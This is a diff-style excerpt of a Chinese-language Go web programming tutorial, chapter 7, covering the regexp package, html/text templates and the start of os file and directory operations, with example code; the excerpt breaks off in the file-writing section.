@ -0,0 +1,12 @@ |
|||
# 7 文本处理 |
|||
Web开发中对于文本处理是非常重要的一部分,我们往往需要对输出或者输入的内容进行处理,这里的文本包括字符串、数字、Json、XML等等。Go语言作为一门高性能的语言,对这些文本的处理都有官方的标准库来支持。而且在你使用中你会发现Go标准库的一些设计相当的巧妙,而且对于使用者来说也很方便就能处理这些文本。本章我们将通过四个小节的介绍,让用户对Go语言处理文本有一个很好的认识。 |
|||
|
|||
XML是目前很多标准接口的交互语言,很多时候和一些Java编写的webserver进行交互都是基于XML标准进行交互,7.1小节将介绍如何处理XML文本,我们使用XML之后发现它太复杂了,现在很多互联网企业对外的API大多数采用了JSON格式,这种格式描述简单,但是又能很好的表达意思,7.2小节我们将讲述如何来处理这样的JSON格式数据。正则是一个让人又爱又恨的工具,它处理文本的能力非常强大,我们在前面表单验证里面已经有所领略它的强大,7.3小节将详细的更深入的讲解如何利用好Go的正则。Web开发中一个很重要的部分就是MVC分离,在Go语言的Web开发中V有一个专门的包来支持`template`,7.4小节将详细的讲解如何使用模版来进行输出内容。7.5小节将详细介绍如何进行文件和文件夹的操作。7.6小节介绍了字符串的相关操作。 |
|||
|
|||
## 目录 |
|||
![](images/navi7.png?raw=true) |
|||
|
|||
## links |
|||
* [目录](<preface.md>) |
|||
* 上一章: [第六章总结](<06.5.md>) |
|||
* 下一节: [XML处理](<07.1.md>) |
@ -0,0 +1,256 @@ |
|||
# 7.3 正则处理 |
|||
正则表达式是一种进行模式匹配和文本操纵的复杂而又强大的工具。虽然正则表达式比纯粹的文本匹配效率低,但是它却更灵活。按照它的语法规则,随需构造出的匹配模式就能够从原始文本中筛选出几乎任何你想要得到的字符组合。如果你在Web开发中需要从一些文本数据源中获取数据,那么你只需要按照它的语法规则,随需构造出正确的模式字符串就能够从原数据源提取出有意义的文本信息。 |
|||
|
|||
Go语言通过`regexp`标准包为正则表达式提供了官方支持,如果你已经使用过其他编程语言提供的正则相关功能,那么你应该对Go语言版本的不会太陌生,但是它们之间也有一些小的差异,因为Go实现的是RE2标准,除了\C,详细的语法描述参考:`http://code.google.com/p/re2/wiki/Syntax` |
|||
|
|||
其实字符串处理我们可以使用`strings`包来进行搜索(Contains、Index)、替换(Replace)和解析(Split、Join)等操作,但是这些都是简单的字符串操作,他们的搜索都是大小写敏感,而且固定的字符串,如果我们需要匹配可变的那种就没办法实现了,当然如果`strings`包能解决你的问题,那么就尽量使用它来解决。因为他们足够简单、而且性能和可读性都会比正则好。 |
|||
|
|||
如果你还记得,在前面表单验证的小节里,我们已经接触过正则处理,在那里我们利用了它来验证输入的信息是否满足某些预设的条件。在使用中需要注意的一点就是:所有的字符都是UTF-8编码的。接下来让我们更加深入的来学习Go语言的`regexp`包相关知识吧。 |
|||
|
|||
## 通过正则判断是否匹配 |
|||
`regexp`包中含有三个函数用来判断是否匹配,如果匹配返回true,否则返回false |
|||
```Go |
|||
|
|||
func Match(pattern string, b []byte) (matched bool, error error) |
|||
func MatchReader(pattern string, r io.RuneReader) (matched bool, error error) |
|||
func MatchString(pattern string, s string) (matched bool, error error) |
|||
|
|||
``` |
|||
上面的三个函数实现了同一个功能,就是判断`pattern`是否和输入源匹配,匹配的话就返回true,如果解析正则出错则返回error。三个函数的输入源分别是byte slice、RuneReader和string。 |
|||
|
|||
如果要验证一个输入是不是IP地址,那么如何来判断呢?请看如下实现 |
|||
```Go |
|||
|
|||
func IsIP(ip string) (m bool) { |
|||
m, _ = regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$", ip) |
|||
return |
|||
} |
|||
``` |
|||
可以看到,`regexp`的pattern和我们平常使用的正则一模一样。再来看一个例子:当用户输入一个字符串,我们想知道是不是一次合法的输入: |
|||
```Go |
|||
|
|||
func main() { |
|||
if len(os.Args) == 1 { |
|||
fmt.Println("Usage: regexp [string]") |
|||
os.Exit(1) |
|||
} |
|||
if m, _ := regexp.MatchString("^[0-9]+$", os.Args[1]); m { |
|||
fmt.Println("数字") |
|||
} else { |
|||
fmt.Println("不是数字") |
|||
} |
|||
} |
|||
``` |
|||
在上面的两个小例子中,我们采用了Match(Reader|String)来判断一些字符串是否符合我们的描述需求,它们使用起来非常方便。 |
|||
|
|||
## 通过正则获取内容 |
|||
Match模式只能用来对字符串的判断,而无法截取字符串的一部分、过滤字符串、或者提取出符合条件的一批字符串。如果想要满足这些需求,那就需要使用正则表达式的复杂模式。 |
|||
|
|||
我们经常需要一些爬虫程序,下面就以爬虫为例来说明如何使用正则来过滤或截取抓取到的数据: |
|||
```Go |
|||
|
|||
package main |
|||
|
|||
import ( |
|||
"fmt" |
|||
"io/ioutil" |
|||
"net/http" |
|||
"regexp" |
|||
"strings" |
|||
) |
|||
|
|||
func main() { |
|||
resp, err := http.Get("http://www.baidu.com") |
|||
if err != nil { |
|||
fmt.Println("http get error.") |
|||
} |
|||
defer resp.Body.Close() |
|||
body, err := ioutil.ReadAll(resp.Body) |
|||
if err != nil { |
|||
fmt.Println("http read error") |
|||
return |
|||
} |
|||
|
|||
src := string(body) |
|||
|
|||
//将HTML标签全转换成小写 |
|||
re, _ := regexp.Compile(`<[\S\s]+?>`) |
|||
src = re.ReplaceAllStringFunc(src, strings.ToLower) |
|||
|
|||
//去除STYLE |
|||
re, _ = regexp.Compile(`<style[\S\s]+?</style>`) |
|||
src = re.ReplaceAllString(src, "") |
|||
//去除HTMLUnscape的STYLE |
|||
re, _ = regexp.Compile(`<style[\S\s]+?</style>`) |
|||
src = re.ReplaceAllString(src, "") |
|||
|
|||
//去除SCRIPT |
|||
re, _ = regexp.Compile(`<script[\S\s]+?</script>`) |
|||
src = re.ReplaceAllString(src, "") |
|||
//去除HTMLUnsapce的SCRIPT |
|||
re, _ = regexp.Compile(`<script[\S\s]+?</script>`) |
|||
src = re.ReplaceAllString(src, "") |
|||
|
|||
//去除所有尖括号内的HTML代码,并换成换行符 |
|||
re, _ = regexp.Compile(`<[\S\s]+?>`) |
|||
src = re.ReplaceAllString(src, "\n") |
|||
|
|||
//去除连续的换行符 |
|||
re, _ = regexp.Compile(`\s{2,}`) |
|||
src = re.ReplaceAllString(src, "\n") |
|||
|
|||
fmt.Println(strings.TrimSpace(src)) |
|||
} |
|||
|
|||
``` |
|||
从这个示例可以看出,使用复杂的正则首先是Compile,它会解析正则表达式是否合法,如果正确,那么就会返回一个Regexp,然后就可以利用返回的Regexp在任意的字符串上面执行需要的操作。 |
|||
|
|||
解析正则表达式的有如下几个方法: |
|||
```Go |
|||
|
|||
func Compile(expr string) (*Regexp, error) |
|||
func CompilePOSIX(expr string) (*Regexp, error) |
|||
func MustCompile(str string) *Regexp |
|||
func MustCompilePOSIX(str string) *Regexp |
|||
``` |
|||
CompilePOSIX和Compile的不同点在于POSIX必须使用POSIX语法,它使用最左最长方式搜索,而Compile是采用的则只采用最左方式搜索(例如[a-z]{2,4}这样一个正则表达式,应用于"aa09aaa88aaaa"这个文本串时,CompilePOSIX返回了aaaa,而Compile的返回的是aa)。前缀有Must的函数表示,在解析正则语法的时候,如果匹配模式串不满足正确的语法则直接panic,而不加Must的则只是返回错误。 |
|||
|
|||
在了解了如何新建一个Regexp之后,我们再来看一下这个struct提供了哪些方法来辅助我们操作字符串,首先我们来看下面这些用来搜索的函数: |
|||
```Go |
|||
|
|||
func (re *Regexp) Find(b []byte) []byte |
|||
func (re *Regexp) FindAll(b []byte, n int) [][]byte |
|||
func (re *Regexp) FindAllIndex(b []byte, n int) [][]int |
|||
func (re *Regexp) FindAllString(s string, n int) []string |
|||
func (re *Regexp) FindAllStringIndex(s string, n int) [][]int |
|||
func (re *Regexp) FindAllStringSubmatch(s string, n int) [][]string |
|||
func (re *Regexp) FindAllStringSubmatchIndex(s string, n int) [][]int |
|||
func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte |
|||
func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int |
|||
func (re *Regexp) FindIndex(b []byte) (loc []int) |
|||
func (re *Regexp) FindReaderIndex(r io.RuneReader) (loc []int) |
|||
func (re *Regexp) FindReaderSubmatchIndex(r io.RuneReader) []int |
|||
func (re *Regexp) FindString(s string) string |
|||
func (re *Regexp) FindStringIndex(s string) (loc []int) |
|||
func (re *Regexp) FindStringSubmatch(s string) []string |
|||
func (re *Regexp) FindStringSubmatchIndex(s string) []int |
|||
func (re *Regexp) FindSubmatch(b []byte) [][]byte |
|||
func (re *Regexp) FindSubmatchIndex(b []byte) []int |
|||
``` |
|||
上面这18个函数我们根据输入源(byte slice、string和io.RuneReader)不同还可以继续简化成如下几个,其他的只是输入源不一样,其他功能基本是一样的: |
|||
```Go |
|||
|
|||
func (re *Regexp) Find(b []byte) []byte |
|||
func (re *Regexp) FindAll(b []byte, n int) [][]byte |
|||
func (re *Regexp) FindAllIndex(b []byte, n int) [][]int |
|||
func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte |
|||
func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int |
|||
func (re *Regexp) FindIndex(b []byte) (loc []int) |
|||
func (re *Regexp) FindSubmatch(b []byte) [][]byte |
|||
func (re *Regexp) FindSubmatchIndex(b []byte) []int |
|||
``` |
|||
对于这些函数的使用我们来看下面这个例子 |
|||
```Go |
|||
|
|||
package main |
|||
|
|||
import ( |
|||
"fmt" |
|||
"regexp" |
|||
) |
|||
|
|||
func main() { |
|||
a := "I am learning Go language" |
|||
|
|||
re, _ := regexp.Compile("[a-z]{2,4}") |
|||
|
|||
//查找符合正则的第一个 |
|||
one := re.Find([]byte(a)) |
|||
fmt.Println("Find:", string(one)) |
|||
|
|||
//查找符合正则的所有slice,n小于0表示返回全部符合的字符串,不然就是返回指定的长度 |
|||
all := re.FindAll([]byte(a), -1) |
|||
fmt.Println("FindAll", all) |
|||
|
|||
//查找符合条件的index位置,开始位置和结束位置 |
|||
index := re.FindIndex([]byte(a)) |
|||
fmt.Println("FindIndex", index) |
|||
|
|||
//查找符合条件的所有的index位置,n同上 |
|||
allindex := re.FindAllIndex([]byte(a), -1) |
|||
fmt.Println("FindAllIndex", allindex) |
|||
|
|||
re2, _ := regexp.Compile("am(.*)lang(.*)") |
|||
|
|||
//查找Submatch,返回数组,第一个元素是匹配的全部元素,第二个元素是第一个()里面的,第三个是第二个()里面的 |
|||
//下面的输出第一个元素是"am learning Go language" |
|||
//第二个元素是" learning Go ",注意包含空格的输出 |
|||
//第三个元素是"uage" |
|||
submatch := re2.FindSubmatch([]byte(a)) |
|||
fmt.Println("FindSubmatch", submatch) |
|||
for _, v := range submatch { |
|||
fmt.Println(string(v)) |
|||
} |
|||
|
|||
//定义和上面的FindIndex一样 |
|||
submatchindex := re2.FindSubmatchIndex([]byte(a)) |
|||
fmt.Println(submatchindex) |
|||
|
|||
//FindAllSubmatch,查找所有符合条件的子匹配 |
|||
submatchall := re2.FindAllSubmatch([]byte(a), -1) |
|||
fmt.Println(submatchall) |
|||
|
|||
//FindAllSubmatchIndex,查找所有字匹配的index |
|||
submatchallindex := re2.FindAllSubmatchIndex([]byte(a), -1) |
|||
fmt.Println(submatchallindex) |
|||
} |
|||
``` |
|||
前面介绍过匹配函数,Regexp也定义了三个函数,它们和同名的外部函数功能一模一样,其实外部函数就是调用了这Regexp的三个函数来实现的: |
|||
```Go |
|||
|
|||
func (re *Regexp) Match(b []byte) bool |
|||
func (re *Regexp) MatchReader(r io.RuneReader) bool |
|||
func (re *Regexp) MatchString(s string) bool |
|||
``` |
|||
接下里让我们来了解替换函数是怎么操作的? |
|||
```Go |
|||
|
|||
func (re *Regexp) ReplaceAll(src, repl []byte) []byte |
|||
func (re *Regexp) ReplaceAllFunc(src []byte, repl func([]byte) []byte) []byte |
|||
func (re *Regexp) ReplaceAllLiteral(src, repl []byte) []byte |
|||
func (re *Regexp) ReplaceAllLiteralString(src, repl string) string |
|||
func (re *Regexp) ReplaceAllString(src, repl string) string |
|||
func (re *Regexp) ReplaceAllStringFunc(src string, repl func(string) string) string |
|||
``` |
|||
这些替换函数我们在上面的抓网页的例子有详细应用示例, |
|||
|
|||
接下来我们看一下Expand的解释: |
|||
```Go |
|||
|
|||
func (re *Regexp) Expand(dst []byte, template []byte, src []byte, match []int) []byte |
|||
func (re *Regexp) ExpandString(dst []byte, template string, src string, match []int) []byte |
|||
``` |
|||
那么这个Expand到底用来干嘛的呢?请看下面的例子: |
|||
```Go |
|||
|
|||
func main() { |
|||
src := []byte(` |
|||
call hello alice |
|||
hello bob |
|||
call hello eve |
|||
`) |
|||
pat := regexp.MustCompile(`(?m)(call)\s+(?P<cmd>\w+)\s+(?P<arg>.+)\s*$`) |
|||
res := []byte{} |
|||
for _, s := range pat.FindAllSubmatchIndex(src, -1) { |
|||
res = pat.Expand(res, []byte("$cmd('$arg')\n"), src, s) |
|||
} |
|||
fmt.Println(string(res)) |
|||
} |
|||
``` |
|||
至此我们已经全部介绍完Go语言的`regexp`包,通过对它的主要函数介绍及演示,相信大家应该能够通过Go语言的正则包进行一些基本的正则的操作了。 |
|||
|
|||
|
|||
## links |
|||
* [目录](<preface.md>) |
|||
* 上一节: [Json处理](<07.2.md>) |
|||
* 下一节: [模板处理](<07.4.md>) |
@ -0,0 +1,374 @@ |
|||
# 7.4 模板处理 |
|||
## 什么是模板 |
|||
你一定听说过一种叫做MVC的设计模式,Model处理数据,View展现结果,Controller控制用户的请求,至于View层的处理,在很多动态语言里面都是通过在静态HTML中插入动态语言生成的数据,例如JSP中通过插入`<%=....=%>`,PHP中通过插入`<?php.....?>`来实现的。 |
|||
|
|||
通过下面这个图可以说明模板的机制 |
|||
|
|||
![](images/7.4.template.png?raw=true) |
|||
|
|||
图7.1 模板机制图 |
|||
|
|||
Web应用反馈给客户端的信息中的大部分内容是静态的,不变的,而另外少部分是根据用户的请求来动态生成的,例如要显示用户的访问记录列表。用户之间只有记录数据是不同的,而列表的样式则是固定的,此时采用模板可以复用很多静态代码。 |
|||
|
|||
## Go模板使用 |
|||
在Go语言中,我们使用`template`包来进行模板处理,使用类似`Parse`、`ParseFile`、`Execute`等方法从文件或者字符串加载模板,然后执行类似上面图片展示的模板的merge操作。请看下面的例子: |
|||
```Go |
|||
|
|||
func handler(w http.ResponseWriter, r *http.Request) { |
|||
t := template.New("some template") //创建一个模板 |
|||
t, _ = t.ParseFiles("tmpl/welcome.html") //解析模板文件 |
|||
user := GetUser() //获取当前用户信息 |
|||
t.Execute(w, user) //执行模板的merger操作 |
|||
} |
|||
``` |
|||
通过上面的例子我们可以看到Go语言的模板操作非常的简单方便,和其他语言的模板处理类似,都是先获取数据,然后渲染数据。 |
|||
|
|||
为了演示和测试代码的方便,我们在接下来的例子中采用如下格式的代码 |
|||
|
|||
- 使用Parse代替ParseFiles,因为Parse可以直接测试一个字符串,而不需要额外的文件 |
|||
- 不使用handler来写演示代码,而是每个测试一个main,方便测试 |
|||
- 使用`os.Stdout`代替`http.ResponseWriter`,因为`os.Stdout`实现了`io.Writer`接口 |
|||
|
|||
## 模板中如何插入数据? |
|||
上面我们演示了如何解析并渲染模板,接下来让我们来更加详细的了解如何把数据渲染出来。一个模板都是应用在一个Go的对象之上,Go对象的字段如何插入到模板中呢? |
|||
|
|||
### 字段操作 |
|||
Go语言的模板通过`{{}}`来包含需要在渲染时被替换的字段,`{{.}}`表示当前的对象,这和Java或者C++中的this类似,如果要访问当前对象的字段通过`{{.FieldName}}`,但是需要注意一点:这个字段必须是导出的(字段首字母必须是大写的),否则在渲染的时候就会报错,请看下面的这个例子: |
|||
```Go |
|||
|
|||
package main |
|||
|
|||
import ( |
|||
"html/template" |
|||
"os" |
|||
) |
|||
|
|||
type Person struct { |
|||
UserName string |
|||
} |
|||
|
|||
func main() { |
|||
t := template.New("fieldname example") |
|||
t, _ = t.Parse("hello {{.UserName}}!") |
|||
p := Person{UserName: "Astaxie"} |
|||
t.Execute(os.Stdout, p) |
|||
} |
|||
``` |
|||
上面的代码我们可以正确的输出`hello Astaxie`,但是如果我们稍微修改一下代码,在模板中含有了未导出的字段,那么就会报错 |
|||
```Go |
|||
|
|||
type Person struct { |
|||
UserName string |
|||
email string //未导出的字段,首字母是小写的 |
|||
} |
|||
|
|||
t, _ = t.Parse("hello {{.UserName}}! {{.email}}") |
|||
``` |
|||
上面的代码就会报错,因为我们调用了一个未导出的字段,但是如果我们调用了一个不存在的字段是不会报错的,而是输出为空。 |
|||
|
|||
如果模板中输出`{{.}}`,这个一般应用于字符串对象,默认会调用fmt包输出字符串的内容。 |
|||
|
|||
### 输出嵌套字段内容 |
|||
上面我们例子展示了如何针对一个对象的字段输出,那么如果字段里面还有对象,如何来循环的输出这些内容呢?我们可以使用`{{with …}}…{{end}}`和`{{range …}}{{end}}`来进行数据的输出。 |
|||
|
|||
- {{range}} 这个和Go语法里面的range类似,循环操作数据 |
|||
- {{with}}操作是指当前对象的值,类似上下文的概念 |
|||
|
|||
详细的使用请看下面的例子: |
|||
```Go |
|||
|
|||
package main |
|||
|
|||
import ( |
|||
"html/template" |
|||
"os" |
|||
) |
|||
|
|||
type Friend struct { |
|||
Fname string |
|||
} |
|||
|
|||
type Person struct { |
|||
UserName string |
|||
Emails []string |
|||
Friends []*Friend |
|||
} |
|||
|
|||
func main() { |
|||
f1 := Friend{Fname: "minux.ma"} |
|||
f2 := Friend{Fname: "xushiwei"} |
|||
t := template.New("fieldname example") |
|||
t, _ = t.Parse(`hello {{.UserName}}! |
|||
{{range .Emails}} |
|||
an email {{.}} |
|||
{{end}} |
|||
{{with .Friends}} |
|||
{{range .}} |
|||
my friend name is {{.Fname}} |
|||
{{end}} |
|||
{{end}} |
|||
`) |
|||
p := Person{UserName: "Astaxie", |
|||
Emails: []string{"astaxie@beego.me", "astaxie@gmail.com"}, |
|||
Friends: []*Friend{&f1, &f2}} |
|||
t.Execute(os.Stdout, p) |
|||
} |
|||
``` |
|||
### 条件处理 |
|||
在Go模板里面如果需要进行条件判断,那么我们可以使用和Go语言的`if-else`语法类似的方式来处理,如果pipeline为空,那么if就认为是false,下面的例子展示了如何使用`if-else`语法: |
|||
```Go |
|||
|
|||
package main |
|||
|
|||
import ( |
|||
"os" |
|||
"text/template" |
|||
) |
|||
|
|||
func main() { |
|||
tEmpty := template.New("template test") |
|||
tEmpty = template.Must(tEmpty.Parse("空 pipeline if demo: {{if ``}} 不会输出. {{end}}\n")) |
|||
tEmpty.Execute(os.Stdout, nil) |
|||
|
|||
tWithValue := template.New("template test") |
|||
tWithValue = template.Must(tWithValue.Parse("不为空的 pipeline if demo: {{if `anything`}} 我有内容,我会输出. {{end}}\n")) |
|||
tWithValue.Execute(os.Stdout, nil) |
|||
|
|||
tIfElse := template.New("template test") |
|||
tIfElse = template.Must(tIfElse.Parse("if-else demo: {{if `anything`}} if部分 {{else}} else部分.{{end}}\n")) |
|||
tIfElse.Execute(os.Stdout, nil) |
|||
} |
|||
``` |
|||
通过上面的演示代码我们知道`if-else`语法相当的简单,在使用过程中很容易集成到我们的模板代码中。 |
|||
|
|||
> 注意:if里面无法使用条件判断,例如.Mail=="astaxie@gmail.com",这样的判断是不正确的,if里面只能是bool值 |
|||
|
|||
### pipelines |
|||
Unix用户已经很熟悉什么是`pipe`了,`ls | grep "beego"`类似这样的语法你是不是经常使用,过滤当前目录下面的文件,显示含有"beego"的数据,表达的意思就是前面的输出可以当做后面的输入,最后显示我们想要的数据,而Go语言模板最强大的一点就是支持pipe数据,在Go语言里面任何`{{}}`里面的都是pipelines数据,例如我们上面输出的email里面如果还有一些可能引起XSS注入的,那么我们如何来进行转化呢? |
|||
```Go |
|||
|
|||
{{. | html}} |
|||
|
|||
``` |
|||
在email输出的地方我们可以采用如上方式可以把输出全部转化html的实体,上面的这种方式和我们平常写Unix的方式是不是一模一样,操作起来相当的简便,调用其他的函数也是类似的方式。 |
|||
|
|||
### 模板变量 |
|||
有时候,我们在模板使用过程中需要定义一些局部变量,我们可以在一些操作中申明局部变量,例如`with``range``if`过程中申明局部变量,这个变量的作用域是`{{end}}`之前,Go语言通过申明的局部变量格式如下所示: |
|||
```Go |
|||
|
|||
$variable := pipeline |
|||
``` |
|||
详细的例子看下面的: |
|||
```Go |
|||
|
|||
{{with $x := "output" | printf "%q"}}{{$x}}{{end}} |
|||
{{with $x := "output"}}{{printf "%q" $x}}{{end}} |
|||
{{with $x := "output"}}{{$x | printf "%q"}}{{end}} |
|||
|
|||
``` |
|||
### 模板函数 |
|||
模板在输出对象的字段值时,采用了`fmt`包把对象转化成了字符串。但是有时候我们的需求可能不是这样的,例如有时候我们为了防止垃圾邮件发送者通过采集网页的方式来发送给我们的邮箱信息,我们希望把`@`替换成`at`例如:`astaxie at beego.me`,如果要实现这样的功能,我们就需要自定义函数来做这个功能。 |
|||
|
|||
每一个模板函数都有一个唯一值的名字,然后与一个Go函数关联,通过如下的方式来关联 |
|||
```Go |
|||
|
|||
type FuncMap map[string]interface{} |
|||
``` |
|||
例如,如果我们想要的email函数的模板函数名是`emailDeal`,它关联的Go函数名称是`EmailDealWith`,那么我们可以通过下面的方式来注册这个函数 |
|||
```Go |
|||
|
|||
t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith}) |
|||
``` |
|||
`EmailDealWith`这个函数的参数和返回值定义如下: |
|||
```Go |
|||
|
|||
func EmailDealWith(args …interface{}) string |
|||
``` |
|||
我们来看下面的实现例子: |
|||
```Go |
|||
|
|||
package main |
|||
|
|||
import ( |
|||
"fmt" |
|||
"html/template" |
|||
"os" |
|||
"strings" |
|||
) |
|||
|
|||
type Friend struct { |
|||
Fname string |
|||
} |
|||
|
|||
type Person struct { |
|||
UserName string |
|||
Emails []string |
|||
Friends []*Friend |
|||
} |
|||
|
|||
func EmailDealWith(args ...interface{}) string { |
|||
ok := false |
|||
var s string |
|||
if len(args) == 1 { |
|||
s, ok = args[0].(string) |
|||
} |
|||
if !ok { |
|||
s = fmt.Sprint(args...) |
|||
} |
|||
// find the @ symbol |
|||
substrs := strings.Split(s, "@") |
|||
if len(substrs) != 2 { |
|||
return s |
|||
} |
|||
// replace the @ by " at " |
|||
return (substrs[0] + " at " + substrs[1]) |
|||
} |
|||
|
|||
func main() { |
|||
f1 := Friend{Fname: "minux.ma"} |
|||
f2 := Friend{Fname: "xushiwei"} |
|||
t := template.New("fieldname example") |
|||
t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith}) |
|||
t, _ = t.Parse(`hello {{.UserName}}! |
|||
{{range .Emails}} |
|||
an emails {{.|emailDeal}} |
|||
{{end}} |
|||
{{with .Friends}} |
|||
{{range .}} |
|||
my friend name is {{.Fname}} |
|||
{{end}} |
|||
{{end}} |
|||
`) |
|||
p := Person{UserName: "Astaxie", |
|||
Emails: []string{"astaxie@beego.me", "astaxie@gmail.com"}, |
|||
Friends: []*Friend{&f1, &f2}} |
|||
t.Execute(os.Stdout, p) |
|||
} |
|||
|
|||
``` |
|||
上面演示了如何自定义函数,其实,在模板包内部已经有内置的实现函数,下面代码截取自模板包里面 |
|||
```Go |
|||
|
|||
var builtins = FuncMap{ |
|||
"and": and, |
|||
"call": call, |
|||
"html": HTMLEscaper, |
|||
"index": index, |
|||
"js": JSEscaper, |
|||
"len": length, |
|||
"not": not, |
|||
"or": or, |
|||
"print": fmt.Sprint, |
|||
"printf": fmt.Sprintf, |
|||
"println": fmt.Sprintln, |
|||
"urlquery": URLQueryEscaper, |
|||
} |
|||
|
|||
``` |
|||
## Must操作 |
|||
模板包里面有一个函数`Must`,它的作用是检测模板是否正确,例如大括号是否匹配,注释是否正确的关闭,变量是否正确的书写。接下来我们演示一个例子,用Must来判断模板是否正确: |
|||
```Go |
|||
|
|||
package main |
|||
|
|||
import ( |
|||
"fmt" |
|||
"text/template" |
|||
) |
|||
|
|||
func main() { |
|||
tOk := template.New("first") |
|||
template.Must(tOk.Parse(" some static text /* and a comment */")) |
|||
fmt.Println("The first one parsed OK.") |
|||
|
|||
template.Must(template.New("second").Parse("some static text {{ .Name }}")) |
|||
fmt.Println("The second one parsed OK.") |
|||
|
|||
fmt.Println("The next one ought to fail.") |
|||
tErr := template.New("check parse error with Must") |
|||
template.Must(tErr.Parse(" some static text {{ .Name }")) |
|||
} |
|||
|
|||
``` |
|||
将输出如下内容 |
|||
|
|||
``` |
|||
|
|||
The first one parsed OK. |
|||
The second one parsed OK. |
|||
The next one ought to fail. |
|||
panic: template: check parse error with Must:1: unexpected "}" in command |
|||
``` |
|||
## 嵌套模板 |
|||
我们平常开发Web应用的时候,经常会遇到一些模板有些部分是固定不变的,然后可以抽取出来作为一个独立的部分,例如一个博客的头部和尾部是不变的,而唯一改变的是中间的内容部分。所以我们可以定义成`header`、`content`、`footer`三个部分。Go语言中通过如下的语法来申明 |
|||
```Go |
|||
|
|||
{{define "子模板名称"}}内容{{end}} |
|||
``` |
|||
通过如下方式来调用: |
|||
```Go |
|||
|
|||
{{template "子模板名称"}} |
|||
``` |
|||
接下来我们演示如何使用嵌套模板,我们定义三个文件,`header.tmpl`、`content.tmpl`、`footer.tmpl`文件,里面的内容如下 |
|||
```html |
|||
|
|||
//header.tmpl |
|||
{{define "header"}} |
|||
<html> |
|||
<head> |
|||
<title>演示信息</title> |
|||
</head> |
|||
<body> |
|||
{{end}} |
|||
|
|||
//content.tmpl |
|||
{{define "content"}} |
|||
{{template "header"}} |
|||
<h1>演示嵌套</h1> |
|||
<ul> |
|||
<li>嵌套使用define定义子模板</li> |
|||
<li>调用使用template</li> |
|||
</ul> |
|||
{{template "footer"}} |
|||
{{end}} |
|||
|
|||
//footer.tmpl |
|||
{{define "footer"}} |
|||
</body> |
|||
</html> |
|||
{{end}} |
|||
``` |
|||
演示代码如下: |
|||
```Go |
|||
|
|||
package main |
|||
|
|||
import ( |
|||
"fmt" |
|||
"os" |
|||
"text/template" |
|||
) |
|||
|
|||
func main() { |
|||
s1, _ := template.ParseFiles("header.tmpl", "content.tmpl", "footer.tmpl") |
|||
s1.ExecuteTemplate(os.Stdout, "header", nil) |
|||
fmt.Println() |
|||
s1.ExecuteTemplate(os.Stdout, "content", nil) |
|||
fmt.Println() |
|||
s1.ExecuteTemplate(os.Stdout, "footer", nil) |
|||
fmt.Println() |
|||
s1.Execute(os.Stdout, nil) |
|||
} |
|||
``` |
|||
通过上面的例子我们可以看到通过`template.ParseFiles`把所有的嵌套模板全部解析到模板里面,其实每一个定义的{{define}}都是一个独立的模板,他们相互独立,是并行存在的关系,内部其实存储的是类似map的一种关系(key是模板的名称,value是模板的内容),然后我们通过`ExecuteTemplate`来执行相应的子模板内容,我们可以看到header、footer都是相对独立的,都能输出内容,content 中因为嵌套了header和footer的内容,就会同时输出三个的内容。但是当我们执行`s1.Execute`,没有任何的输出,因为在默认的情况下没有默认的子模板,所以不会输出任何的东西。 |
|||
|
|||
>同一个集合类的模板是互相知晓的,如果同一模板被多个集合使用,则它需要在多个集合中分别解析 |
|||
|
|||
## 总结 |
|||
通过上面对模板的详细介绍,我们了解了如何把动态数据与模板融合:如何输出循环数据、如何自定义函数、如何嵌套模板等等。通过模板技术的应用,我们可以完成MVC模式中V的处理,接下来的章节我们将介绍如何来处理M和C。 |
|||
|
|||
## links |
|||
* [目录](<preface.md>) |
|||
* 上一节: [正则处理](<07.3.md>) |
|||
* 下一节: [文件操作](<07.5.md>) |
@ -0,0 +1,159 @@ |
|||
# 7.5 文件操作 |
|||
在任何计算机设备中,文件是都是必须的对象,而在Web编程中,文件的操作一直是Web程序员经常遇到的问题,文件操作在Web应用中是必须的,非常有用的,我们经常遇到生成文件目录,文件(夹)编辑等操作,现在我把Go中的这些操作做一详细总结并实例示范如何使用。 |
|||
## 目录操作 |
|||
文件操作的大多数函数都是在os包里面,下面列举了几个目录操作的: |
|||
|
|||
- func Mkdir(name string, perm FileMode) error |
|||
|
|||
创建名称为name的目录,权限设置是perm,例如0777 |
|||
|
|||
- func MkdirAll(path string, perm FileMode) error |
|||
|
|||
根据path创建多级子目录,例如astaxie/test1/test2。 |
|||
|
|||
- func Remove(name string) error |
|||
|
|||
删除名称为name的目录,当目录下有文件或者其他目录时会出错 |
|||
|
|||
- func RemoveAll(path string) error |
|||
|
|||
根据path删除多级子目录,如果path是单个名称,那么该目录下的子目录全部删除。 |
|||
|
|||
|
|||
下面是演示代码: |
|||
```Go |
|||
|
|||
package main |
|||
|
|||
import ( |
|||
"fmt" |
|||
"os" |
|||
) |
|||
|
|||
func main() { |
|||
os.Mkdir("astaxie", 0777) |
|||
os.MkdirAll("astaxie/test1/test2", 0777) |
|||
err := os.Remove("astaxie") |
|||
if err != nil { |
|||
fmt.Println(err) |
|||
} |
|||
os.RemoveAll("astaxie") |
|||
} |
|||
|
|||
``` |
|||
|
|||
## 文件操作 |
|||
|
|||
### 建立与打开文件 |
|||
新建文件可以通过如下两个方法 |
|||
|
|||
- func Create(name string) (file *File, err Error) |
|||
|
|||
根据提供的文件名创建新的文件,返回一个文件对象,默认权限是0666的文件,返回的文件对象是可读写的。 |
|||
|
|||
- func NewFile(fd uintptr, name string) *File |
|||
|
|||
根据文件描述符创建相应的文件,返回一个文件对象 |
|||
|
|||
|
|||
通过如下两个方法来打开文件: |
|||
|
|||
- func Open(name string) (file *File, err Error) |
|||
|
|||
该方法打开一个名称为name的文件,但是是只读方式,内部实现其实调用了OpenFile。 |
|||
|
|||
- func OpenFile(name string, flag int, perm uint32) (file *File, err Error) |
|||
|
|||
打开名称为name的文件,flag是打开的方式,只读、读写等,perm是权限 |
|||
|
|||
### 写文件 |
|||
写文件函数: |
|||
|
|||
- func (file *File) Write(b []byte) (n int, err Error) |
|||
|
|||
写入byte类型的信息到文件 |
|||
|
|||
- func (file *File) WriteAt(b []byte, off int64) (n int, err Error) |
|||
|
|||
